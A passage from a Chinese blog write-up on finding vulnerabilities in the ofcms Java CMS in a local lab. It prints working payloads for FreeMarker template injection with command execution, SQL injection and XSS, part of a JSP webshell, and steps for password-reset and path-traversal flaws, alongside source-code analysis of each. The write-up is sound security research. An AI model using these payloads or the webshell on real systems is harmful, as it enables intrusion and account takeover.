接着将数据库配置文件db-config.properties文件名修改为db.properties,重启一下服务。 漏洞复现 环境搭建完,我们就可以开始挖洞了,然后在这里我建议是能找到该漏洞已存在的文章,我们就先去复现一下,看看别的师傅们的挖过的漏洞,一方面是防止重复,一方面是可以学习一下别人的挖洞思路。 ofcms其实存在挺多漏洞的,这里我们就来简单复现一下,大致看看师傅们的挖洞思路。 任意文件写入 漏洞模板文件这个位置,漏洞的详细分析可以看看https://blog.csdn.net/xd_2021/article/details/123611835 漏洞复现 我们选择任意一个html,然后点击保存抓包,我们可以看到包的信息。 这里就是写入文件,我们在admin目录下写入eek1.xml文件。 通过上面任意文件读取漏洞去读取一下 模板注入漏洞 漏洞在模板注入,这个漏洞主要是pom.xml引入了freemarker-2.3.21依赖,但是留下一些不安全因素导致的,具体漏洞分析可以看这篇http://www.wjhsh.net/bmjoker-p-13653563.html。 漏洞复现 漏洞复现过程比较简单,我们直接在html文件中插入payload就可以了 <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") } 插入后直要访问前台就会出发payload 模板注入的知识点可以看看这篇https://blog.csdn.net/weixin_44522540/article/details/122844068 通过这一个洞,我们可以挖洞的时候可以去注意一下pom.xml引入的模板。 SQL注入漏洞 漏洞分析参考https://blog.csdn.net/xd_2021/article/details/123611835,由于这里的预编译处理不起作用,所以可以执行SQL语句。 漏洞复现 漏洞点在系统设置---代码生成---添加----添加表,在这里抓一下包 直接把payload输进来 update of_cms_ad set ad_id=updatexml(1,concat(1,user()),1) 任意文件上传 漏洞分析在上一篇文章里有说,这里主要就是利用windows或中间件文件上传特性来避免结尾为jsp或jspx 漏洞复现 找到一个上传点然后抓包,我这里是在内容管理----栏目管理----新增----新增用户----上传附件这里抓包的。 eek.jsp <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);sessio 可以看到文件上传进去,而且内容没被修改。 漏洞挖掘 通过上面的内容,我们学习了别的师傅的挖洞思路,接下来就是我自己的挖洞过程了,下面是我挖的几个洞。 首先除了已经存在的漏洞外,我们要大致知道什么漏洞会存在什么地方,例如登录注册界面会出现sql漏洞,逻辑漏洞等,留言框可能会出现xss漏洞,上传头像界面可能会出现任意文件上传漏洞等,信息泄露漏洞也可以通过御剑或者其他工具去扫一下。 XSS漏洞 漏洞复现 对于前台有个客户案例,选择其中一个案例,然后有个留言框,这里直接打入xss的payload就可以了。 <video src=x onerror=alert("eek") /> 漏洞分析 文件位置ofcms-master\ofcms-api\src\main\java\com\ofsoft\cms\api\v1 package com.ofsoft.cms.api.v1; import com.jfinal.plugin.activerecord.Db; import com.ofsoft.cms.api.ApiBase; import com.ofsoft.cms.core.annotation.Action; import com.ofsoft.cms.core.api.ApiMapping; import com.ofsoft.cms.core.api.RequestMethod; import com.ofsoft.cms.core.api.check.ParamsCheck; import com.ofsoft.cms.core.api.check.ParamsCheckType; import com.ofsoft.cms.core.utils.IpKit; import java.util.Map; /** * 评论接口 * * @author OF * @date 2019年2月24日 */ @Action(path = "/comment") public class CommentApi extends ApiBase {   /**     * 获取内容信息     */   @ApiMapping(method = RequestMethod.GET)   @ParamsCheck(           {@ParamsCheckType(name = "comment_content"), @ParamsCheckType(name = "content_id"),                   @ParamsCheckType(name = "site_id")})   public void save() {       try {           Map params = getParamsMap();           params.put("comment_ip", IpKit.getRealIp(getRequest()));           Db.update(Db.getSqlPara("cms.comment.save", params));           rendSuccessJson();       } catch (Exception e) {           e.printStackTrace();           rendFailedJson();       }   } } 请求/api/v1/comment/save.json?comment_content=123&content_id=61&site_id=1&check_status=1&_=1644130926694 这里直接接受请求,未对content的内容进行检测,直接将请求的值存入数据库中,导致存在跨站脚本漏洞。 逻辑缺陷漏洞1 本地环境 现有两个用户信息,系统管理员admin和普通管理员eek,如下是系统管理员的界面。 admin/admin eek/123 超级管理员后台界面。 普通管理员后台界面 漏洞复现 我们先以普通管理员登录 点击右上角,修改密码 在此处burp抓包 修改id为1,密码任意 修改前admin的密码是admin 修改后为admin,密码是eek 漏洞分析 漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的respwd方法 ...     public void respwd() {       Map<String, Object> params = getParamsMap();       String password = (String) params.get("password");       String newpassword = (String) params.get("newpassword");       if (!password.equals(newpassword)) {           rendFailedJson("两次密码不一致!");           return;       }       Record record = new Record();       if (!StringUtils.isBlank(password)) {           password = new Sha256Hash(password).toHex();           record.set("user_password", password);       }       record.set("user_id", params.get("user_id"));       try {           Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);           rendSuccessJson();       } catch (Exception e) {           e.printStackTrace();           rendFailedJson(ErrorCode.get("9999"));       }   }... 在此方法中,后台对前端界面的id和两次密码值进行获取,然后传入后端,后端直接将id和密码传入数据库中,让数据库直接更新信息。 这里由于id可控导致用户可以直接修改任意id的密码,导致该地方存在任意用户密码重置。 逻辑缺陷漏洞2 本地环境 数据库信息如下图所示 现在有超级管理员,admin/123 普通管理员,eek/123 漏洞复现 首先以普通管理员身份登录,然后点击右上角,基本资料 在此处burp抓包 修改信息,user_id改为1,密码修改为admin 以系统管理员身份登录 成功登录 漏洞分析 漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的update方法 ...     public void update() {       Map<String, Object> params = getParamsMap();       String password = (String) params.get("password");       if (!StringUtils.isBlank(password)) {           password = new Sha256Hash(password).toHex();           params.put("user_password", password);       }       params.remove("password");       String roleId = (String) params.get("role_id");       if (!StringUtils.isBlank(roleId)) {           SqlPara sql = Db.getSqlPara("system.user.role_update", params);           Db.update(sql);       }       params.remove("role_id");       Record record = new Record();       record.setColumns(params);       try {           Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);           rendSuccessJson();       } catch (Exception e) {           e.printStackTrace();           rendFailedJson(ErrorCode.get("9999"));       } } ... 在此方法中,后台管理直接将新增的数据放到数据库中,直接对数据库内容进行更新,未对不合法内容进行检测,导致该地方存在任意用户信息重置。 任意文件读取 漏洞复现 找到模板文件 所对应的路径是\ofcms-master\ofcms-admin\src\main\webapp\WEB-INF\page\default,这里可以通过目录穿越来读取任意文件。 在他的上两级有个web.xml文件,我们尝试读取一些。 这里不能直接编辑,burp抓个包。 web.xml文件如下所示 <!DOCTYPE web-app PUBLIC       "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"       "http://td/web-app_2_3.dtd" > <web-app>   <display-name>Archetype Created Web Application</display-name>   <listener>       <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>   </listener>   <filter>       <filter-name>shiro</filter-name>       <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>   </filter>   ......... 读取成功 漏洞分析 漏洞文件位置:ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java漏洞位于该模块的getTemplates方法中 package com.ofsoft.cms.admin.controller.cms; ...   public void getTemplates() {       //当前目录       String dirName = getPara("dir","");       //上级目录       String upDirName = getPara("up_dir","/");       //类型区分           String resPath = getPara("res_path");       //文件目录       String dir = null;       if(!"/".equals(upDirName)){             dir = upDirName+dirName;       }else{             dir = dirName;       }       File pathFile = null;       if("res".equals(resPath)){           pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);       }else {           pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);       }       File[] dirs = pathFile.listFiles(new FileFilter() {           @Override           public boolean accept(File file) {               return file.isDirectory();           }       });       if(StringUtils.isBlank (dirName)){           upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));       }       setAttr("up_dir_name",upDirName);       setAttr("up_dir","".equals(dir)?"/":dir);       setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);       setAttr("dirs", dirs);       /*if (dirName != null) {           pathFile = new File(pathFile, dirName);       }*/       File[] files = pathFile.listFiles(new FileFilter() {           @Override           public boolean accept(File file) {               return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")                       || file.getName().endsWith(".css") || file.getName().endsWith(".js"));           }       });       setAttr("files", files);       String fileName = getPara("file_name", "index.html");       File editFile = null;       if (fileName != null && files != null && files.length > 0) {           for (File f : files) {               if (fileName.equals(f.getName())) {                   editFile = f;                   break;               }           }           if (editFile == null) {               editFile = files[0];               fileName = editFile.getName();           }       }       setAttr("file_name", fileName);       if (editFile != null) {           String fileContent = FileUtils.readString(editFile);           if (fileContent != null) {               fileContent = fileContent.replace("<", "&lt;").replace(">", "&gt;");               setAttr("file_content", fileContent);               setAttr("file_path", editFile);           }       }       if("res".equals(resPath)) {           render("/admin/cms/template/resource.html");       }else{       render("/admin/cms/template/index.html");       }   } ...... 这里没有对dir和dir_name的值进行不合法输入检测,导致这里可以进行目录穿越,然后后面的就只有对文件是否存在进行判断,若存在则读取。所以此处存在任意文件读取漏洞。 声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页